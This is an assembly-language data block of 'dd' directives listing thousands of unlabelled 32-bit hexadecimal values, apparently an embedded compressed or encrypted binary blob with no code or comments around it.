dd 0A9D34F06h, 7D20DD81h, 381C2039h, 30C35200h, 433163BBh
dd 5BC718DAh, 4072D1F1h, 5974C1E8h, 0A1B84901h, 0A2ED3BA7h
dd 2D88D0h, 26A97A84h, 9EEC07AEh, 0D7182890h, 0CB41D4B5h
dd 68A8490Bh, 5B2A51Dh, 44395D8Dh, 0C84B809Ch, 554D8C70h
dd 6E2A8324h, 0D682BFB4h, 0FE9046A7h, 0B24284A1h, 0FBFA3500h
dd 775537D5h, 6407D974h, 5F49B9F4h, 0F62B184Ch, 9ADE00A3h
dd 23AB6CC0h, 5C0C2D74h, 30B1F403h, 0DBAC034Fh, 30B31777h
dd 0D54038h, 36E2AF92h, 7EB2F56h, 9D2CB053h, 58F5E607h
dd 0D117641Eh, 0E44F5C40h, 3CBA3DBh, 0FAC56616h, 4901395Ah
dd 0C681EB17h, 91805449h, 0FFB1EE1Dh, 0A7001ABAh, 0CF8CB5ADh
dd 62CD4B0h, 7D541116h, 0F500C991h, 0B4B16A72h, 3E3F1DCh
dd 0F8716EFBh, 61006FB6h, 0E7055020h, 796C8411h, 0E4421E17h
dd 0EFC4800Ah, 6DA8EA66h, 0F651AC60h, 1998514h, 17E8F835h
dd 0FCDAE974h, 0D8007DC6h, 3911476Bh, 60B708E5h, 83C4B15Ch
dd 150296E1h, 6BCFFEC2h, 4FB8A2E4h, 4B62305h, 2C919103h
dd 8842A819h, 870EB9h, 977A78E8h, 0C67C727Eh, 5E9FA206h
dd 612776h, 0EA519301h, 0E959D817h, 6EBD08C0h, 0C0066F6Bh
dd 20E76361h, 1A0371A8h, 0C3EAC25Ch, 0E92FD819h, 0FE66000Ch
dd 0D8CF5632h, 41E762D5h, 50F78380h, 1410EED4h, 0DEE3B400h
dd 663379CFh, 81D86007h, 8516DF64h, 9CF9C62Ah, 79AF9930h
dd 0EB5332h, 0F0397CC0h, 551B7230h, 60D8A1Ch, 17C77641h
dd 4980A983h, 0FDC02BB7h, 0F0E0CFAh, 0B26FD0h, 5D139F3Dh
dd 6673036Ah, 0B9790ACh, 4F676100h, 0C7119F1Ah, 0C2D400AAh
dd 0B7DBE022h, 0ECF570B5h, 1415C8D7h, 3A987736h, 43D806ECh
dd 0C13049h, 853FA8C8h, 3B8C1620h, 5F891700h, 0B52B910Fh
dd 3D9C7850h, 0D800B37Fh, 74BCE940h, 0D8A83853h, 0F9009CB6h
dd 0E0232DD0h, 0A426B005h, 2487BFCh, 0F99CA1Fh, 0F4846BC0h
dd 0A7BB4008h, 0F8B030Eh, 0BCB92DC7h, 0BD3E6C20h, 0EFF8D76Fh
dd 0DADD7B00h, 0DEEC1BCFh, 89A31437h, 0F82298B1h, 86FB4E00h
dd 115C4B6Dh, 401400FEh, 996BEACAh, 0D0FCD3B3h, 0F926A11Fh
dd 39E13887h, 90275483h, 0F67A1EE5h, 20DB0F91h, 86035D3h
dd 0E396F28Eh, 17BB4F06h, 3F69FA82h, 0BF1FF521h, 0CAB4C04Dh
dd 8BD3631h, 0C52FA8A8h, 54175D05h, 0CC569373h, 846A310Ah
dd 13C0689Ch, 0C74CD32h, 1E2F70DBh, 0C8C61Ah, 252E2D17h
dd 73601241h, 8FEA4A28h, 5E49C2DAh, 0DD252762h, 0A2C38001h
dd 0A091BA01h, 863D0FCCh, 6100F708h, 44D98321h, 0D7B01BEh
dd 14D33B5Bh, 70A088FEh, 6B8E42D8h, 446CCB22h, 85920FF0h
dd 40DE87AAh, 0CC1D5BA3h, 1AFE51D4h, 95D1CA00h, 824EEB14h
dd 2947F01Ch, 80946D27h, 238B9285h, 0F913FE59h, 6C007076h
dd 0B1774CF1h, 90DCA4C0h, 2420A495h, 6DC0FEAh, 21FD0107h
dd 9F7E21E9h, 0C1140221h, 0D353011Ch, 0B4542007h, 2EC57C4h
dd 78AC7C55h, 8829CB1h, 1483AB74h, 0E9785E4Ch, 0EA00BAE8h
dd 23B8AF2Eh, 1E1A67h, 45DCCDEFh, 51FB4BE9h, 3BF284A8h
dd 332750A1h, 0BB6182Ch, 37A419h, 0E843B444h, 194EA004h
dd 0F742939h, 0E76427AEh, 0FAB210C1h, 0C9EC63A2h, 0FCD04CC5h
dd 7D70006Fh, 57AB0F89h, 0E76FEB02h, 8197ACE1h, 0D773D2Fh
dd 0EEC8538Bh, 185C0206h, 4154E080h, 0C5280460h, 0F8249FCh
dd 0E08301DAh, 0B0B64800h, 2A30B54Dh, 0CC60EE7h, 199400D5h
dd 6377EBB9h, 8000F539h, 5C85032Ah, 513EC6h, 0C5581A5Fh
dd 0F887DAD7h, 0ECD3B11Eh, 89590103h, 820800D2h, 6494F180h
dd 0AF03C17Bh, 33198AD7h, 0AD291DEDh, 0E003C004h, 824F2390h
dd 0E3344D00h, 0A9979CD1h, 28C4E8D0h, 22888C7h, 5BB4C163h
dd 0A2E0D366h, 68A05CAFh, 59C2EF30h, 0E05874CAh, 38DBA407h
dd 1C7CF9B2h, 7526B94h, 39607E5h, 3100E430h, 797ADEDCh
dd 0FF85CFh, 979B2250h, 0BE0CE67Ch, 0D0376303h, 0D341E8A4h
dd 0DA8800B2h, 0CC033597h, 0FF3922EDh, 0C5040063h, 6473B89Eh
dd 5B1100E5h, 499A0733h, 0C1D4E065h, 58462895h, 0CE844h
dd 9BBADAEh, 0D847025Eh, 9879DE0Ch, 0BD0201Bh, 4989B1EDh
dd 0AF49568Ch, 0D428322h, 0E9EF20B9h, 6E94F42Ah, 0B7A108C0h
dd 18D7B37Eh, 39C47349h, 5607A541h, 0DB8FB6F5h, 0FA19D666h
dd 28573079h, 0B1E5D050h, 0E6448401h, 10AEB9A4h, 31D83B20h
dd 7D11A5CFh, 438450DAh, 0CEF22B95h, 3226AD00h, 0CAA746D6h
dd 79881873h, 435D61D1h, 480C8071h, 0F9EA3389h, 9C409598h
dd 0EB010ECAh, 857068B7h, 21BAE507h, 2E024983h, 0D3E0B6CCh
dd 0A139B115h, 0F9DC0AD9h, 26808050h, 0D7317356h, 8A680C77h
dd 9641F133h, 70D2CC00h, 0FD2A4F35h, 13CA0014h, 2E053CB3h
dd 0E5065F55h, 0DA6F46A4h, 3D5A7DA9h, 0EB1EF2BAh, 8B5C0FBBh
dd 0E5DF1540h, 0F90194DDh, 8CE474DAh, 0BDD4F4ACh, 0F3470AB0h
dd 8688A351h, 5180D8B6h, 0AD04B578h, 405358E5h, 902EB1C1h
dd 145D54E0h, 0C0ABDB3Eh, 445E5B80h, 0FD07816Bh, 2FE0B48Dh
dd 0D8E18Ch, 4373A5ABh, 0DB1BC52Ch, 0AD089350h, 295FFF30h
dd 393D9CFCh, 560052F6h, 0CC4ACF15h, 891B5D7Bh, 0B68E8C0h
dd 1AFB16F0h, 29F37901h, 84B9A204h, 28E5C544h, 6B8DDECh
dd 0D1A1D371h, 45E0291Dh, 0E42E71C1h, 702085B1h, 0E4FA89ABh
dd 0C08381C4h, 92A7E522h, 128B4638h, 842C5FAFh, 0E9A400E0h
dd 0FDD0E1DFh, 0E5182556h, 0BC295CFFh, 0B8AB1C68h, 12DC8004h
dd 152550C2h, 0D7557090h, 0F310F240h, 0D470AB53h, 0D377A480h
dd 424529A7h, 204792B0h, 0E5B05754h, 5ADE5E12h, 5F158001h
dd 1044E438h, 19E8433h, 11EFF920h, 21CC1464h, 7DA0080Ch
dd 9B29D863h, 2D71C845h, 3672009Ch, 7CBEFA12h, 1C907D93h
dd 8672D942h, 8D839238h, 2103A0EDh, 87FA46F1h, 6FA0DE30h
dd 50C85F27h, 449DA847h, 6C00A07Ah, 1EC00D38h, 0A0D0B6DFh
dd 0AE5BA2Ch, 964349D3h, 0AF0A3FCCh, 830515Ah, 4185C46Ch
dd 1C0CD9B7h, 0E3F79CB9h, 6AD9081h, 20723399h, 4670BD8Ch
dd 3902F930h, 4894C75Fh, 81298CA0h, 64DF003Ch, 0E44D9054h
dd 5C9EAE15h, 7CDC226Ch, 195860AFh, 0B77DB156h, 0F770C083h
dd 0DF970073h, 0A880400Ah, 7201D4CDh, 0D724906Eh, 28415E5Ch
dd 7D11AA06h, 0F14180DBh, 57C52C0h, 0A9A60718h, 30A54629h
dd 0B96A9213h, 88520372h, 6FAC04F4h, 19827751h, 5BDA417Eh
dd 0A0A0D3E4h, 250BAB8h, 15E42B19h, 0D780DB8Ch, 0BD2148B1h
dd 0AA50EE78h, 0D1504508h, 0B76B814h, 96A0600h, 21E79280h
dd 0C0FEFCF2h, 0E6EC5CA0h, 0C548B1FBh, 61228E24h, 2B20A37Bh
dd 0A01DF3C4h, 327854C0h, 8CA806DEh, 5DF2D4C0h, 0B6E9DC61h
dd 0C02387C2h, 0C46D8D14h
dd 5C4B009Dh, 0FDB96F45h, 0C6C8D848h, 41B37Dh, 5BB61037h
dd 39B9256Bh, 0DF0A500h, 0BD184566h, 1DAB16FCh, 0B8E4000Bh
dd 0D8A38C6Eh, 0C187A91Eh, 5198370Ch, 7BC06DAh, 20D3FA5Fh
dd 30A7E813h, 6F0EFC20h, 8875097Fh, 1082BF5Dh, 0A842555Fh
dd 0F31041F7h, 98A044D2h, 937F0364h, 3D97DB16h, 0E50EEBB0h
dd 0E933470Bh, 4444107Ch, 0C7F807A3h, 0A0F228C2h, 0F5AA8A9Ch
dd 0C4189728h, 65170A78h, 1430900Ch, 77D4F3C6h, 5F2B1D1Ah
dd 0A711C7D3h, 7450B293h, 0E852E866h, 5FD712C8h, 20A05020h
dd 44F80A53h, 24A8A969h, 74803F74h, 978CE581h, 5798A16Dh
dd 0E915B91Fh, 4048E617h, 70613701h, 0E73065E3h, 0AE152098h
dd 7AD8F69Dh, 1479EB60h, 0BD7FBD4h, 3C84A59Ch, 89699010h
dd 0F16CFD00h, 4196D28Eh, 0D81F0048h, 2F3EE48Ch, 0FC175D80h
dd 1C20888Fh, 4B1961Ah, 743A3019h, 490858Dh, 41A95020h
dd 0D48987A1h, 6A053181h, 8103308Ah, 867FD5B2h, 0FA30FEEAh
dd 0B8234CB9h, 2B90DD21h, 82AAB8C5h, 14627F8Ch, 0C4B60C02h
dd 0AC044866h, 0B5586A2Bh, 0BC40C4C0h, 1A9901E4h, 88DBFCC4h
dd 0F81185BDh, 0BC4072FFh, 14E58637h, 0B73200ABh, 0D960CC1Ch
dd 2500176Dh, 0B57CAAC3h, 0C275FFF0h, 0BE481D31h, 62A05540h
dd 0CF68D200h, 0F56EFEB0h, 90D90747h, 0A08DC80Fh, 0B339EABEh
dd 3D455E00h, 74C65C17h, 0E0B600A1h, 3FF0522Ah, 0B700737Ch
dd 0E93D87F8h, 4578AA2h, 0AC882C68h, 9D00FE30h, 0B08E170Fh
dd 5AC100C5h, 0D645238Bh, 6600FBCDh, 9B93D8CFh, 12EF38h
dd 80B6D25Dh, 21578C68h, 9D0E5A1Dh, 0BD050917h, 74C3450Bh
dd 39FFA03Eh, 0C0EB00FBh, 0ECF0BDB8h, 545C74D3h, 0EE5E8048h
dd 2E044BBEh, 3615A1h, 2FBB4ADh, 1C1601E2h, 78205BE8h
dd 0F2DE33h, 84B68391h, 0A5FEBD86h, 44E0221Fh, 45E4AD40h
dd 12210D04h, 90305E2Bh, 823DEBECh, 9A729007h, 0EE80E787h
dd 94312FA3h, 23AA4008h, 0BA00397Ch, 0D7728707h, 70616B6h
dd 74FCB8A6h, 0AF9350F8h, 1C921480h, 5FF2B908h, 80A39E1Dh
dd 9687E5ABh, 92479DDh, 4B08500Fh, 73468458h, 84AF46DFh
dd 1327F019h, 40DBF67Eh, 6E20C844h, 6F0070B9h, 4C5A0C1Dh
dd 28948C9h, 0E8FB1BD3h, 0F864788Bh, 0DD4CACB0h, 48412F7h
dd 44F3B020h, 0D099CA07h, 828DC5B8h, 1482F0D8h, 0FC23D55Ch
dd 0B09100AEh, 0B68F40E0h, 0C8347D8Eh, 3CA2C17Ah, 0F907F23Eh
dd 804DDFD7h, 0A4A3C48Ch, 0C77B3013h, 0A088F006h, 46E10FA1h
dd 0B0A051ECh, 95F54E9Dh, 527E4100h, 0E371AB15h, 0ED84B86Dh
dd 9007D13h, 967833DAh, 4CDB5DEDh, 0E69DF88Dh, 0FD03BC44h
dd 659BE1C9h, 364B01FFh, 0A402C478h, 9040A154h, 4E243200h
dd 1268B518h, 9FFE0Ah, 0AF899B7Bh, 0B81D84E0h, 0C4F8D648h
dd 1004BFCh, 945D1879h, 1DE57D00h, 0B0E809Bh, 157001E3h
dd 415169ACh, 6A46F49Dh, 25ECA152h, 10145Bh, 0C38F4704h
dd 66F5D5A5h, 2AE37600h, 690FE47Eh, 5ECB80Bh, 0B619B8D2h
dd 3A188089h, 58035CA1h, 41442285h, 0F8C08573h, 2842B7h
dd 8AF1C536h, 0EFB86AC8h, 7533171Dh, 17C8954h, 0D22341E7h
dd 9020E85Fh, 36C80185h, 4021FED9h, 49F0F870h, 8A8F7B0Ah
dd 2740EC33h, 7F25E32Eh, 8E5C99B5h, 608058A5h, 0A6495542h
dd 0ECE99D00h, 3914B3B0h, 0D2441C9Bh, 0F348C485h, 0EB3C8C52h
dd 187DAA2Ch, 0EA336840h, 85370A5Ah, 47B83869h, 81E926B6h
dd 244C490h, 0D4BC90A1h, 0AF3D9480h, 8CC01926h, 2C31F630h
dd 6D3FD878h, 0C1488047h, 67449A2h, 4FF20584h, 763067h
dd 259BC3A8h, 0AE187E6Dh, 0B949CD80h, 60AA78BDh, 327E947h
dd 5500B17Fh, 481E9F20h, 28B89828h, 38BCB08h, 0A2F80D5Bh
dd 87981C50h, 0D017DDAEh, 0C030C484h, 3A9E8FC5h, 19247A66h
dd 9CC04FC8h, 0A8C1B5EBh, 19AF0438h, 0A611E974h, 6E5C6850h
dd 0FD3F006Ch, 0CE091194h, 38004AFBh, 0CDBA5087h, 93609A59h
dd 0A5AE1FE8h, 0DF6E4810h, 9C0CBF85h, 0D930CFE9h, 6F95060Bh
dd 0FAA4B8A9h, 99FFh, 91EFCC6Dh, 41F6C5B8h, 0E5C9990Bh
dd 5CE0079Dh, 7D58C20Eh, 0C2D4A0B6h, 2CA71Ch, 656625D5h
dd 314B62ECh, 3F51F71Ch, 99D08B25h, 7844DFD0h, 87D8CCh
dd 0DA0D9C9Dh, 0CC58F27Ch, 974D9000h, 37B7E165h, 0A85F05E4h
dd 8855D723h, 0CE09AD08h, 224C2B51h, 23F7C724h, 5970A989h
dd 2900337Ch, 61FA5C69h, 582AD16Bh, 0AC41A19Dh, 0E0DE17E8h
dd 19A5002Dh, 42A7C1E7h, 75CFC65h, 71488D6Ch, 1B00B473h
dd 58EDBF64h, 0FC001FBEh, 92E8A7E6h, 0E8EB43B5h, 0A07200FAh
dd 0BBD72B5Eh, 5954AE4Ch, 0DF00CC5Ch, 0C4F6511Dh, 50439E19h
dd 16D108D6h, 225CF2B6h, 5044FC4Ch, 0CAAFB500h, 28B722CFh
dd 1EE524C0h, 84501000h, 0FA41D369h, 4888B8A7h, 7000D484h
dd 72FBDC9Bh, 2116DB4h, 93660EBCh, 68C42CFFh, 6528797Dh
dd 8022B478h, 9E4670AEh, 2C70A634h, 2624CAE4h, 0C460984h
dd 4C0060E4h, 6C769F55h, 31F9A44h, 9293EF06h, 6E90073Eh
dd 5F38AF20h, 109F2631h, 0E5A9414Eh, 5ECCA856h, 58B0775Dh
dd 7C800C89h, 0B61264AFh, 6C920C09h, 608B8088h, 1BF9A24h
dd 0AF236BE3h, 38B19DD0h, 2EBE8000h, 81EE6733h, 343230h
dd 37078E5Bh, 0F39570Fh, 0B6D0FE0Dh, 103992CDh, 0B432D3Ch
dd 9F2ECA1Fh, 0D6241CC0h, 0FCFD07h, 715897D9h, 0E609336Ah
dd 5D02889Ch, 667FE5C8h, 8D0F0908h, 8C944F2h, 24D822FCh
dd 0DC00DEADh, 6F2BDBCCh, 0DF7B00CAh, 917EB293h, 2017D378h
dd 0E400F28Fh, 0D07F545h, 70A7165Dh, 46B800D9h, 0DABF6A7Bh
dd 0A5E5AE09h, 21ECE4DCh, 0D9093250h, 420464EEh, 89007C36h
dd 4387A73Ch, 2F2ACB6Fh, 75FC4209h, 36032100h, 8C57F0h
dd 2689925Bh, 0A6AD6C4Bh, 6F264674h, 5D441C06h, 0B9895249h
dd 71029100h, 0E00B577h, 0B36ABEF6h, 31DCA7E0h, 0E41A276Ch
dd 7E88487Ch, 0DB2CA8F8h, 793AD647h, 3C101A00h, 0AE6FF71Fh
dd 4EF49C5Bh, 740C508h, 9C2EF23Bh, 5B0AC00h, 0FD4A7Bh
dd 80D4FF48h, 0F009117h, 0F2F51942h, 26D0A48Ch, 8FA0F86Ch
dd 44E084E5h, 71432515h, 8AB3D804h, 40802B20h, 29275D31h
dd 2E840DBh, 6B44475Bh, 0EC027C42h, 0E927075Dh, 8CB6F540h
dd 0C5AC98C5h, 0FA2291h, 45DC8B60h, 5F786541h, 954A41Fh
dd 9C89B94h, 98E5905Dh, 7A2F25Ch, 0B943FAF5h, 0B0B3E0B5h
dd 350A6E52h, 0E815DAB1h, 71472842h, 82F3000Ch, 4135FE39h
dd 5C4EC300h, 6EBB8A9Bh, 0B643EA38h, 6D490908h, 6307C899h
dd 643C9608h, 76B0C3h, 57295F84h, 83527C08h, 0B0EF8F24h
dd 0B800424h, 285092DBh, 0E5290FB2h, 5A8538F7h, 30D422B0h
dd 0E0034844h, 8DA8B102h, 0EACCF854h, 0B2E80FF9h, 2E82E523h
dd 0C84EC518h, 0C7A1100h, 0F3440AE6h, 20F39AEh, 5864B080h
dd 1A8E619Bh, 5186C705h, 0C91E25Fh, 2210EBC2h, 8D042FFCh
dd 0A797E513h, 0F90330E2h, 0AAF33672h, 0C8A8EFB1h, 865EF07Ch
dd 80732C20h, 0A3DE1223h, 0C73088FCh, 66D44200h, 9F6457CCh
dd 0F51400CBh, 0E5BBD176h, 0D813BE0Ch, 3005A118h, 4441EEDDh
dd 51F20555h, 62933C38h, 0C851E53Ch, 0A6D6BC00h, 0E0F3672Dh
dd 20B90241h, 8244F845h, 887150B2h, 29E7BD00h, 0FA455C86h
dd 3A0E00ABh, 9A6A4AA4h, 0F501A138h, 0B1084FD2h, 0B4481BDCh
dd 0DB0F88D5h, 0D3069D00h
dd 0F5935B76h, 50707602h, 1F56EFC1h, 49B9A42Bh, 980089ADh
dd 0B3A887FAh, 0F2D2B0A0h, 0B860D0B6h, 5B1BFE4h, 0ACD1F4B5h
dd 4D40086h, 71CDCC11h, 89D2F800h, 813649E3h, 1B8B1FCh
dd 0D88F7FD5h, 211C47Ch, 7BCFAF3Eh, 6027C700h, 8D5BB83Ah
dd 8249518Bh, 40E0B992h, 9EFD8178h, 852E7668h, 9B69C411h
dd 0E6ECF938h, 7CF83821h, 0BCBA5048h, 4404B0C4h, 1E09B9B7h
dd 11BC75Bh, 91064670h, 0FD41D986h, 0BF00A95Ah, 6337CD86h
dd 2999031h, 5BC261ADh, 1C84EAD3h, 0C88563Dh, 0ACE002Eh
dd 5B3FE4EAh, 19033467h, 12741DAFh, 1A41214Ch, 229C5D10h
dd 6CEB4A03h, 0A06BE0C3h, 49A5E338h, 3457781Dh, 57F21108h
dd 8DB65661h, 0D18BC83Dh, 445E0448h, 0A6B4961Eh, 492BA0Eh
dd 94E2CC55h, 49763F00h, 9529565Ch, 9FDC0502h, 44FD430Eh
dd 8D220058h, 0A97E4DBBh, 0DF26835Dh, 43801018h, 0E2C11272h
dd 4A584BAEh, 5831B4h, 0C3B367AAh, 84049E49h, 4B22430Ah
dd 0B8063084h, 26281CEAh, 41606446h, 0DCCF588Dh, 472FCA71h
dd 0C0601022h, 96E8009Ah, 46121767h, 0A97F055Dh, 5474EF0Fh
dd 223620D7h, 4C3501E5h, 0D5803088h, 0F15F67C3h, 80BA953Ah
dd 0AF4CE74Fh, 941BABh, 0B2D256F6h, 7CFB9906h, 54907883h
dd 38FAB0ACh, 8C008EE8h, 1B20115Ch, 0EE52EB83h, 0F0B67EE4h
dd 0E4C6A9E0h, 986F001Ch, 0B77F398Dh, 8318C387h, 6539E8BBh
dd 0AC0085BFh, 441340DFh, 3A801D26h, 7D9583C4h, 201456D0h
dd 80AC33ECh, 58AA572Bh, 0BDFCCEh, 0EBB6E669h, 0BF1865EDh
dd 80057494h, 44E581DEh, 0A60EB433h, 8587B6D9h, 1843400Eh
dd 53022194h, 0A1CC172Bh, 513CC003h, 0B699C497h, 2F94ADDBh
dd 0F70A089h, 158F8DDh, 774EABBh, 4C477B99h, 7D89A2A0h
dd 0D6132C7Dh, 294C0316h, 0C2D8B45Dh, 401A6CDh, 0A64DF8Dh
dd 94344DC1h, 9C3F8846h, 19AC4E03h, 80A5C97Bh, 4C0D1CE2h
dd 8700DA12h, 8C29101Eh, 10956549h, 0E071B9Ch, 83FC8D20h
dd 0B8060B3Fh, 421D5804h, 46A87EB6h, 11D002BCh, 0BF316A37h
dd 0C9EFF0A1h, 94CF13A1h, 0FD80E509h, 0DBF1BBBAh, 0B43B700h
dd 9DE4E845h, 12B5F6Fh, 80AF8180h, 64BC489Eh, 607DD744h
dd 6C2171DDh, 0FD3D8CE7h, 3F698092h, 6A51FEA0h, 10F892D1h
dd 0DCDAF4C4h, 17ED6C30h, 60E44C78h, 8CD38505h, 1DC83058h
dd 0A21DC43Ch, 0BD83C0CAh, 25AFD248h, 88C5DCF1h, 93E71601h
dd 9F86F8Dh, 6B508D4h, 0C380E433h, 0F687B198h, 1B2B095Ah
dd 0C11A0F0h, 0FCD05202h, 3B0084E4h, 1560C2A4h, 2AA5E896h
dd 18880BC4h, 0F9AC50F3h, 6E7857E9h, 1470BF24h, 712A82Ch
dd 0B8AF70D3h, 9EF21Dh, 4D30BB5Eh, 81208BFAh, 0BA03EE00h
dd 74138460h, 0FE6E4CBh, 0AB857DB1h, 389910E0h, 8F4897C8h
dd 24C42204h, 22A1AA8Dh, 0ECE44444h, 0B464DD0Bh, 0BECC2796h
dd 0ED4EAFA7h, 0F8002060h, 18C9FC8h, 5D7A7EB8h, 60ACFC3Bh
dd 0E5645F7Ch, 0C6320FE0h, 68581013h, 207C27E3h, 9E8F46A8h
dd 0CC700749h, 0F063C8A5h, 0F24E8BE3h, 7100CA7Eh, 76DB760h
dd 1A2AE8h, 295EBE93h, 2DBB9852h, 0C0E4AE1Ch, 0AB70C241h
dd 2039FFA2h, 0CF87751Dh, 51445AB5h, 0C9208C52h, 982EBA88h
dd 68D24858h, 7A7C205Eh, 887AC778h, 87BF3D0Bh, 0D0E4EB43h
dd 0EE21B6EEh, 0F28B16C0h, 0C5342450h, 6E5408C4h, 89452764h
dd 38BC40AFh, 39170B1Fh, 143F5C00h, 368F9ED0h, 993FE35h
dd 5143506Fh, 0A4310024h, 49035F44h, 0E9C314B0h, 0EADBF086h
dd 208D0985h, 0B4C887D7h, 9B5F36A1h, 5E70EC27h, 0C074FCFAh
dd 0D8E04121h, 0C5006B8Bh, 0A13FF172h, 1A53BFh, 60EAECAFh
dd 490DADC4h, 82796E60h, 281D84F8h, 43ECF0BBh, 1391223Fh
dd 28EC2EB6h, 0E5030D80h, 0EBFAA5A2h, 23D81144h, 0B1670F43h
dd 2062615Ah, 604125E3h, 0F2C7A358h, 41B056DDh, 2AD6831Eh
dd 0C0BFC13h, 49C6EB4h, 0F57BBDA2h, 0D03081F3h, 77E5001Eh
dd 46F201B6h, 0E0B8BBF6h, 0B334502Fh, 9895A4ADh, 2214568h
dd 8531FA33h, 6449FD68h, 89BB0C07h, 8472FCh, 0FFCD0E37h
dd 1B0E6EDh, 539894D5h, 20801783h, 5A3AA028h, 0C18189EAh
dd 9071EFh, 38CCC0ACh, 20229E2h, 0F08A68ADh, 5F50C07Fh
dd 854C4459h, 94B695h, 910B879h, 0D7518078h, 0F306980Ch
dd 0B2EB8052h, 0A80722A4h, 0A287FA00h, 0B10D4F7Dh, 0A7E50921h
dd 6C187EB2h, 0F2128D26h, 0E8A2DC29h, 0B1936E01h, 41E4417Eh
dd 32566F88h, 10BCD05Ch, 8A5807BCh, 2118CE4Ah, 240F265Fh
dd 82C54444h, 0C45288A8h, 0AC2BA100h, 5C71B32Eh, 3F5A00B4h
dd 0EF09CE40h, 6F4CBB0Fh, 44772A5Ch, 58589528h, 4C3C7948h
dd 0A4D21E44h, 1DDC6484h, 21D938D2h, 0E8A5B810h, 2E1D3D14h
dd 6D00B11Ah, 7EB5FAB9h, 48BE00DAh, 0D6154555h, 0BC00B3E0h
dd 9D93019Ah, 4850ADC0h, 6C5CAC07h, 0E7601480h, 77003578h
dd 0C20B4631h, 2C1A6228h, 1298C7D5h, 0AD6031C6h, 71383904h
dd 0B0705489h, 11404247h, 0DE261165h, 41302C24h, 731E45F3h
dd 0E8545F3Ch, 77CF10B0h, 0A053684Ch, 302BAC12h, 0A4F9937Ch
dd 8840305Fh, 3D09B1F2h, 11500038h, 18A29935h, 68000595h
dd 0D703F3DEh, 0B8200A2Eh, 0D3A32180h, 81BC9F94h, 0F126D81Fh
dd 395A22E0h, 324A2BEDh, 8C61B8C0h, 84CE0CCAh, 67A944h
dd 0C98AD263h, 5EAC9AAFh, 13005C78h, 4C755F0h, 1847B0A8h
dd 592AEBBAh, 0DB0E7306h, 0B7A4F8h, 7428E878h, 0C2A70427h
dd 0BCC8507Ch, 16B639F4h, 890D3E3h, 0B830522Eh, 14A4E690h
dd 0C0B8A1C3h, 9E725B10h, 107D108h, 83C4AB41h, 22382252h
dd 80C4B170h, 84DC9E39h, 0B50120F2h, 0FF440C4Dh, 60EEE5A6h
dd 82873B08h, 8B00D0F9h, 9082BFABh, 0C7D9010Ch, 0AE37733Eh
dd 8FFCCBEDh, 0C45B23A0h, 0E7C340DDh, 9FF805Eh, 517DEDF4h
dd 5DF3DC02h, 0F023C311h, 0A8601F70h, 0A2291251h, 33FF808Ch
dd 28B4EA18h, 9C4E595h, 47B16C98h, 0AD1C9CC4h, 1AC3535Ch
dd 0E0FFD9D7h, 0B104DFh, 62C4FC25h, 0E55989E2h, 0EC4BF998h
dd 44511CC8h, 7C98E907h, 7022D343h, 1188A15Ch, 8938417Bh
dd 5A07201h, 0C48E6F56h, 4C079742h, 8AE021BBh, 0DE70039Eh
dd 2CEAC193h, 0C581423h, 0A368D332h, 30129219h, 1A0FE4DAh
dd 0E066D267h, 0E16A4E28h, 0B27207BDh, 2C386845h, 78406790h
dd 0A68B75D0h, 83F627C4h, 467B80E4h, 2ADD240Fh, 4B9EBF4h
dd 0FB315E64h, 0B68D0004h, 61E0B6C7h, 32C45F83h, 783093E0h
dd 0B1832E9h, 249EB38h, 0B47D4C68h, 0F46D21C0h, 0D679F0h
dd 667CC01Fh, 0B4DF4EBEh, 0C991EF01h, 9830964Dh, 2947E0h
dd 925287F2h, 0C8C1138Dh, 0B8852F00h, 0BBFC9701h, 1409188h
dd 0EA8F4D18h, 0DFA45206h, 0F608E619h, 527388h, 0AF459DA8h
dd 0A6345B60h, 0B8413C00h, 541583AAh, 1CEF58E6h, 0AB17410h
dd 846D72D9h, 8B7F8141h, 0F7C4043Ah, 5A3CB057h, 8060A0A6h
dd 955FA99h, 0D7451F36h, 8B4043CAh, 80E52083h, 2EAFB35Ch
dd 2B7B0678h, 0D4C2BB4Eh, 0A86430h, 6568E646h, 215BBEC0h
dd 0BC2783EEh, 1D904CA5h, 828D5F1Eh, 0B0A36C6Fh, 0DEBDE476h
dd 14B2B012h, 0BF01B33Bh, 83C2F655h, 8A5852DEh, 9F2510h
dd 0D85186E3h, 54A4A0ABh, 3F202C90h, 60A1004Fh, 29B0CCD0h
dd 0D022B0Ah, 857E6ABBh, 0C4C0523Dh, 0ACC7B710h, 0C95C8824h
dd 32BAB804h, 10A611C6h
dd 7AD468B8h, 445600B5h, 616A889Fh, 0C01D810h, 0BF437F60h
dd 9C413E6Dh, 6030D6F7h, 870B00B9h, 6A6EBC74h, 0DD162EA4h
dd 30265D45h, 479C9C10h, 272B91CCh, 7471C47Bh, 0EE93680Eh
dd 200832ECh, 4A98643Bh, 170884ADh, 0B2EC0041h, 136DB57Fh
dd 87EBF600h, 6FAF4402h, 48010358h, 1A6B9D9Ah, 8AF51800h
dd 4B41986Ch, 97D805DEh, 0C3A615EAh, 0F2F00E6Ch, 0FC89DB52h
dd 0F020402Ah, 874926B5h, 459F8919h, 820C2798h, 7CD0118Ah
dd 0CC00C805h, 1F898000h, 996B49B9h, 166E902Dh, 0AEF46E2Fh
dd 97909300h, 99273E93h, 3D41110h, 0C748E17Bh, 0C65B8B3h
dd 85C40479h, 0E2F9EE94h, 66630B34h, 280D8AA6h, 89C86210h
dd 0D8C18D92h, 8410E62Ch, 0FC022DA2h, 0AC20A355h, 13846646h
dd 8BB1FFBBh, 0E1911778h, 3504F01Fh, 58C2BF04h, 111719CEh
dd 5F6A80AFh, 0F0BD802Ch, 6D406F9Dh, 21C90CB0h, 7FE0B0E0h
dd 74418248h, 0C14C78E9h, 85EBD576h, 88A63430h, 0E807C615h
dd 4992BDDFh, 0D0E6B70h, 2458002Ah, 44D3B5E2h, 6CAE121Eh
dd 0BE0E850h, 0B9644C99h, 0EE6F00D1h, 0A36A4600h, 80C03DF9h
dd 739AD3D1h, 3C50068h, 8AA36F4Bh, 0F4987998h, 0E42094B9h
dd 39B02150h, 66434C9Ah, 894CA29h, 3097439Dh, 53BE60D0h
dd 38A300B7h, 46DF7BE3h, 9600EF09h, 0F5E922C9h, 0EACE3498h
dd 0E4089407h, 871CA216h, 819021A1h, 0B0E442A7h, 95E877D0h
dd 7458802h, 5457EC20h, 0B3050F99h, 0C0FCF03Fh, 0EB1B44E4h
dd 6E1F3304h, 78ACDBh, 0D3455A2Bh, 7CCB87BBh, 13B40695h
dd 18352A1Eh, 0DE963700h, 0F9935B9Ah, 10CC9EECh, 60D3C812h
